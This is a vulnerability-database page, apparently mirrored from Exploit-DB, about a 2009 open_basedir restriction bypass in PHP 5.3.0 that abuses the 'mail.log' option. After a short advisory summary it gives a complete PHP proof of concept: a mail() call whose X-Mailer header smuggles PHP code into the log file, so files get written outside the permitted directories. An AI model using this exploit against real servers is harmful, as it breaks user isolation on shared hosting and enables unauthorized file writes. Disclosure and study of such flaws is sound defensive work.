PHP 5.3 - 'mail.log' Configuration Option 'open_basedir' Restriction Bypass

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1058109 漏洞类型
发布时间 2009-08-10 更新时间 2009-08-10
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/33161
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/36007/info

PHP is prone to an 'open_basedir' restriction-bypass vulnerability because of a design error.

Successful exploits could allow an attacker to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

PHP 5.3.0 is vulnerable. 

<?php
$to = 'stop@example.com';
$subject = 'open_basedir bypass by http://securityreason.com';
$message = 'exploit';
$headers = 'From: stop@example.com' . "\r\n" .
'Reply-To: stop@example.com' . "\r\n" .
'X-Mailer: PHP<?php echo ini_get(\'open_basedir\');?>/' .
phpversion();

mail($to, $subject, $message, $headers);
?>